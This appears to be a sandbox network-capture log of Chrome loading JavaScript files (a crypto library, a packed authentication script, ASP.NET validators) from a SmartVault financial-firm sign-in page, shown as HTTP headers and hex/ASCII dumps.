h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 6e 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 74 7d 7d 28 29 2c 4d 61 74 68 2c 63 3d 28 73 3d 62 74 29 2e 6c 69 62 2c 61 3d 63 2e 57 6f 72 64 41 72 72 61 79 2c 6c 3d 63 2e 48 61 73 68 65 72 2c 64 3d 73 2e 61 6c 67 6f 2c 6d 3d 61 2e 63 72 65 61 74 65 28 5b 30 2c 31 2c 32 2c 33 2c 34 2c 35 2c 36 2c 37 2c 38 2c 39 2c 31 30 2c 31 31 2c 31 32 2c 31 33 2c 31 34 2c 31 35 2c 37 2c 34 2c 31 33 2c 31 2c 31 30 2c 36 2c 31 35 2c 33 2c 31 32 2c 30 2c 39 2c 35 2c 32 2c 31 34 2c 31 31 2c 38 2c 33 2c 31 30 2c 31 34 2c 34 2c 39 2c 31 35 2c 38 2c 31 2c 32 2c 37 2c 30 2c Data Ascii: )r[i>>>2]\|=t[i]<<24-i%4*8;n.call(this,r,e)}else n.apply(this,arguments)}).prototype=t}}(),Math,c=(s=bt).lib,a=c.WordArray,l=c.Hasher,d=s.algo,m=a.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 65 28 65 2c 65 2b 69 29 7d 7d 29 2c 59 2e 44 65 63 72 79 70 74 6f 72 3d 59 2e 65 78 74 65 6e 64 28 7b 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 63 69 70 68 65 72 2c 69 3d 72 2e 62 6c 6f 63 6b 53 69 7a 65 2c 6e 3d 74 2e 73 6c 69 63 65 28 65 2c 65 2b 69 29 3b 44 74 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 65 2c 69 2c 72 29 2c 74 68 69 73 2e 5f 70 72 65 76 42 6c 6f 63 6b 3d 6e 7d 7d 29 2c 59 29 2c 62 74 2e 6d 6f 64 65 2e 45 43 42 3d 28 28 74 74 3d 62 74 2e 6c 69 62 2e 42 6c 6f 63 6b 43 69 70 68 65 72 4d 6f 64 65 2e 65 78 74 65 6e 64 28 29 29 2e 45 6e 63 72 79 70 74 6f 72 3d 74 74 2e 65 78 74 65 6e 64 28 7b 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b Data Ascii: e(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),bt.mode.ECB=((tt=bt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){
2024-04-11 20:35:41 UTC	1348	IN	Data Raw: 3d 28 76 74 3d 62 74 29 2e 6c 69 62 2e 53 74 72 65 61 6d 43 69 70 68 65 72 2c 67 74 3d 76 74 2e 61 6c 67 6f 2c 42 74 3d 5b 5d 2c 77 74 3d 5b 5d 2c 6b 74 3d 5b 5d 2c 53 74 3d 67 74 2e 52 61 62 62 69 74 4c 65 67 61 63 79 3d 79 74 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 6b 65 79 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 63 66 67 2e 69 76 2c 72 3d 74 68 69 73 2e 5f 58 3d 5b 74 5b 30 5d 2c 74 5b 33 5d 3c 3c 31 36 7c 74 5b 32 5d 3e 3e 3e 31 36 2c 74 5b 31 5d 2c 74 5b 30 5d 3c 3c 31 36 7c 74 5b 33 5d 3e 3e 3e 31 36 2c 74 5b 32 5d 2c 74 5b 31 5d 3c 3c 31 36 7c 74 5b 30 5d 3e 3e 3e 31 36 2c 74 5b 33 5d 2c 74 5b 32 5d 3c 3c 31 36 7c 74 5b 31 5d 3e 3e 3e 31 36 5d 2c 69 3d Data Ascii: =(vt=bt).lib.StreamCipher,gt=vt.algo,Bt=[],wt=[],kt=[],St=gt.RabbitLegacy=yt.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16\|t[2]>>>16,t[1],t[0]<<16\|t[3]>>>16,t[2],t[1]<<16\|t[0]>>>16,t[3],t[2]<<16\|t[1]>>>16],i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50092	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	621	OUT	GET /js/apersona.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	622	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 9381 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	3741	IN	Data Raw: 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 70 2c 61 2c 63 2c 6b 2c 65 2c 64 29 7b 65 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 28 63 3c 61 3f 27 27 3a 65 28 70 61 72 73 65 49 6e 74 28 63 2f 61 29 29 29 2b 28 28 63 3d 63 25 61 29 3e 33 35 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 63 2b 32 39 29 3a 63 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 29 7d 3b 69 66 28 21 27 27 2e 72 65 70 6c 61 63 65 28 2f 5e 2f 2c 53 74 72 69 6e 67 29 29 7b 77 68 69 6c 65 28 63 2d 2d 29 7b 64 5b 65 28 63 29 5d 3d 6b 5b 63 5d 7c 7c 65 28 63 29 7d 6b 3d 5b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 5b 65 5d 7d 5d 3b 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 27 5c 5c 77 2b 27 7d 3b 63 3d 31 7d 3b 77 68 69 6c 65 28 63 2d Data Ascii: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c-
2024-04-11 20:35:41 UTC	5640	IN	Data Raw: 2e 37 39 2c 31 38 3d 71 2e 31 38 2c 32 34 3d 42 2e 71 2e 31 38 7d 31 62 28 62 29 7b 7d 31 52 3b 6d 20 32 38 3d 22 22 2c 32 35 3d 22 22 2c 32 37 3d 22 22 3b 31 33 20 31 52 28 29 7b 6d 20 62 3d 42 2e 31 71 2e 37 35 2c 61 3d 62 2e 31 6c 28 22 2e 22 29 2c 63 3d 62 2e 7a 28 61 29 2c 62 3d 62 2e 7a 28 30 2c 61 29 2c 61 3d 62 2e 31 6c 28 22 2e 22 29 2c 61 3d 62 2e 7a 28 61 2b 31 29 2c 63 3d 42 2e 31 71 2e 37 37 2b 22 2f 2f 22 2b 61 2b 63 2c 61 3d 22 22 3b 31 36 7b 61 3d 32 71 2e 32 4e 28 29 7d 31 62 28 66 29 7b 7d 32 38 3d 75 2b 22 2c 22 2b 31 56 2b 22 2c 22 2b 31 57 2b 22 2c 22 2b 31 58 2b 22 2c 22 2b 31 38 2b 22 2c 22 2b 32 34 2b 22 2c 22 2b 4f 3b 32 35 3d 4f 2b 22 2c 22 2b 61 2b 22 2c 22 2b 32 62 3b 32 37 3d 4f 2b 22 2c 22 2b 32 62 2b 22 2c 22 2b 32 63 2b 22 Data Ascii: .79,18=q.18,24=B.q.18}1b(b){}1R;m 28="",25="",27="";13 1R(){m b=B.1q.75,a=b.1l("."),c=b.z(a),b=b.z(0,a),a=b.1l("."),a=b.z(a+1),c=B.1q.77+"//"+a+c,a="";16{a=2q.2N()}1b(f){}28=u+","+1V+","+1W+","+1X+","+18+","+24+","+O;25=O+","+a+","+2b;27=O+","+2b+","+2c+"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50093	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	627	OUT	GET /js/EmailValidator.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	621	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 744 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	744	IN	Data Raw: ef bb bf 0d 0a 66 75 6e 63 74 69 6f 6e 20 76 45 6d 61 69 6c 28 73 65 6e 64 65 72 2c 20 61 72 67 73 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 63 74 72 6c 20 3d 20 24 66 69 6e 64 28 73 65 6e 64 65 72 2e 63 6f 6e 74 72 6f 6c 74 6f 76 61 6c 69 64 61 74 65 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 20 3d 20 63 74 72 6c 2e 67 65 74 5f 76 61 6c 75 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 45 78 70 72 65 73 73 69 6f 6e 20 3d 20 63 74 72 6c 2e 67 65 74 5f 65 6c 65 6d 65 6e 74 28 29 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 76 45 78 70 72 65 73 73 69 6f 6e 22 29 3b 0d 0a 20 20 20 20 76 61 72 20 72 65 74 56 61 6c 20 3d 20 76 61 6c 2e 6d 61 74 63 68 28 76 45 78 70 72 65 73 73 69 6f 6e 29 3b 0d 0a 20 20 20 20 61 72 67 73 2e 49 73 56 61 6c 69 64 20 3d 20 72 65 74 Data Ascii: function vEmail(sender, args) { var ctrl = $find(sender.controltovalidate); var val = ctrl.get_value(); var vExpression = ctrl.get_element().getAttribute("vExpression"); var retVal = val.match(vExpression); args.IsValid = ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50094	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	738	OUT	GET /WebResource.axd?d=DzxUtfABsu8vnlw2s2acXrs0oF0PtU7eQ8cp60r68IrjUtW9DDM-0xlMz8I7xY2r_Q1vSWj9TmVkLca6OlhNx4F-j9c1&t=636480331623431523 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	1598	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/x-javascript Content-Length: 23063 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:41 GMT Last-Modified: Tue, 05 Dec 2017 01:12:42 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1317	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 57 65 62 46 6f 72 6d 5f 50 6f 73 74 42 61 63 6b 4f 70 74 69 6f 6e 73 28 65 76 65 6e 74 54 61 72 67 65 74 2c 20 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 2c 20 76 61 6c 69 64 61 74 69 6f 6e 2c 20 76 61 6c 69 64 61 74 69 6f 6e 47 72 6f 75 70 2c 20 61 63 74 69 6f 6e 55 72 6c 2c 20 74 72 61 63 6b 46 6f 63 75 73 2c 20 63 6c 69 65 6e 74 53 75 62 6d 69 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 65 76 65 6e 74 54 61 72 67 65 74 20 3d 20 65 76 65 6e 74 54 61 72 67 65 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 20 3d 20 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 20 3d 20 76 61 6c 69 64 61 74 69 6f 6e 3b 0d 0a 20 20 20 20 74 68 69 73 2e 76 61 6c Data Ascii: function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) { this.eventTarget = eventTarget; this.eventArgument = eventArgument; this.validation = validation; this.val
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 66 28 61 63 74 69 76 65 29 20 21 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 26 26 20 28 61 63 74 69 76 65 20 21 3d 20 6e 75 6c 6c 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 28 61 63 74 69 76 65 2e 69 64 29 20 21 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 26 26 20 28 61 63 74 69 76 65 2e 69 64 20 21 3d 20 6e 75 6c 6c 29 20 26 26 20 28 61 63 74 69 76 65 2e 69 64 2e 6c 65 6e 67 74 68 20 3e 20 30 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 61 73 74 46 6f 63 75 73 2e 76 61 6c 75 65 20 3d 20 61 63 74 69 76 65 2e 69 64 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 Data Ascii: f(active) != "undefined") && (active != null)) { if ((typeof(active.id) != "undefined") && (active.id != null) && (active.id.length > 0)) { lastFocus.value = active.id; }
2024-04-11 20:35:41 UTC	5362	IN	Data Raw: 72 6d 2e 65 6c 65 6d 65 6e 74 73 5b 27 5f 5f 53 43 52 4f 4c 4c 50 4f 53 49 54 49 4f 4e 59 27 5d 2e 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 74 68 65 46 6f 72 6d 2e 5f 5f 53 43 52 4f 4c 4c 50 4f 53 49 54 49 4f 4e 58 2e 76 61 6c 75 65 2c 20 74 68 65 46 6f 72 6d 2e 5f 5f 53 43 52 4f 4c 4c 50 4f 53 49 54 49 4f 4e 59 2e 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 28 74 68 65 46 6f 72 6d 2e 6f 6c 64 4f 6e 4c 6f 61 64 29 20 21 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 26 26 20 28 74 68 65 46 6f 72 6d 2e 6f 6c 64 4f 6e 4c 6f 61 64 20 21 3d 20 6e 75 6c 6c 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 Data Ascii: rm.elements['__SCROLLPOSITIONY'].value); } else { window.scrollTo(theForm.__SCROLLPOSITIONX.value, theForm.__SCROLLPOSITIONY.value); } if ((typeof(theForm.oldOnLoad) != "undefined") && (theForm.oldOnLoad != null)) { r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50095	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	803	OUT	GET /ScriptResource.axd?d=bxneLSIh8SNqL-DjmlEOCOjpj7lm8eCrWeUn3UqJb9YUsjCvSH5bGoYm_Sp61q2wrS-cbvalSlFsnoAzRX7679-OV8N9JPcmpTtUz6eRDBn82nBrgdQJlLL2zGFynS0QAVSv0422mvqVHBj94oanuA6IlAw1&t=ffffffffa83fb62f HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	1613	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/x-javascript; charset=utf-8 Content-Length: 26951 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:41 GMT Last-Modified: Thu, 11 Apr 2024 20:35:41 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1302	IN	Data Raw: 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 69 6f 6e 56 65 72 20 3d 20 22 31 32 35 22 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 73 56 61 6c 69 64 20 3d 20 74 72 75 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 42 6c 6f 63 6b 53 75 62 6d 69 74 20 3d 20 66 61 6c 73 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 6e 76 61 6c 69 64 43 6f 6e 74 72 6f 6c 54 6f 42 65 46 6f 63 75 73 65 64 20 3d 20 6e 75 6c 6c 3b 0d 0a 76 61 72 20 50 61 67 65 5f 54 65 78 74 54 79 70 65 73 20 3d 20 2f 5e 28 74 65 78 74 7c 70 61 73 73 77 6f 72 64 7c 66 69 6c 65 7c 73 65 61 72 63 68 7c 74 65 6c 7c 75 72 6c 7c 65 6d 61 69 6c 7c 6e 75 6d 62 65 72 7c 72 61 6e 67 65 7c 63 6f 6c 6f 72 7c 64 61 74 65 74 69 6d 65 7c 64 61 74 65 7c 6d 6f 6e 74 68 7c 77 65 65 6b 7c 74 69 6d 65 7c 64 61 74 65 74 69 6d 65 Data Ascii: var Page_ValidationVer = "125";var Page_IsValid = true;var Page_BlockSubmit = false;var Page_InvalidControlToBeFocused = null;var Page_TextTypes = /^(text\|password\|file\|search\|tel\|url\|email\|number\|range\|color\|datetime\|date\|month\|week\|time\|datetime
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 63 74 72 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 72 6f 6c 49 44 29 3b 0d 0a 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 28 63 74 72 6c 29 20 21 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 26 26 20 28 63 74 72 6c 20 21 3d 20 6e 75 6c 6c 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 56 61 6c 69 64 61 74 6f 72 48 6f 6f 6b 75 70 43 6f 6e 74 72 6f 6c 28 63 74 72 6c 2c 20 76 61 6c 29 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 6c 2e 69 73 76 61 6c 69 64 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 6c 2e 65 6e 61 62 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a Data Ascii: turn; } var ctrl = document.getElementById(controlID); if ((typeof(ctrl) != "undefined") && (ctrl != null)) { ValidatorHookupControl(ctrl, val); } else { val.isvalid = true; val.enabled = false; }
2024-04-11 20:35:41 UTC	9265	IN	Data Raw: 65 20 3d 20 56 61 6c 69 64 61 74 6f 72 47 65 74 56 61 6c 75 65 28 76 61 6c 2e 63 6f 6e 74 72 6f 6c 74 6f 76 61 6c 69 64 61 74 65 29 3b 0d 0a 20 20 20 20 69 66 20 28 56 61 6c 69 64 61 74 6f 72 54 72 69 6d 28 76 61 6c 75 65 29 2e 6c 65 6e 67 74 68 20 3d 3d 20 30 29 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 28 56 61 6c 69 64 61 74 6f 72 43 6f 6d 70 61 72 65 28 76 61 6c 75 65 2c 20 76 61 6c 2e 6d 69 6e 69 6d 75 6d 76 61 6c 75 65 2c 20 22 47 72 65 61 74 65 72 54 68 61 6e 45 71 75 61 6c 22 2c 20 76 61 6c 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 56 61 6c 69 64 61 74 6f 72 43 6f 6d 70 61 72 65 28 76 61 6c 75 65 2c 20 76 61 6c 2e 6d 61 78 69 6d 75 6d 76 61 6c 75 65 2c 20 22 4c 65 73 73 54 Data Ascii: e = ValidatorGetValue(val.controltovalidate); if (ValidatorTrim(value).length == 0) return true; return (ValidatorCompare(value, val.minimumvalue, "GreaterThanEqual", val) && ValidatorCompare(value, val.maximumvalue, "LessT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50096	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	1055	OUT	GET /Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=ctl00_RadScriptManager1_TSM&compress=0&_TSM_CombinedScripts_=%3b%3bSystem.Web.Extensions%2c+Version%3d4.0.0.0%2c+Culture%3dneutral%2c+PublicKeyToken%3d31bf3856ad364e35%3aen-US%3a59e0a739-153b-40bd-883f-4e212fc43305%3aea597d4b%3ab25378d2%3bTelerik.Web.UI%3aen-US%3acb530d55-8eee-4e6c-b719-fe87cff73af8%3a16e4e7cd%3a365331c3%3a24ee1bba%3ab7778d6c%3af46195d3%3a19620875%3a874f8ea2%3a39040b5c%3af85f9819 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
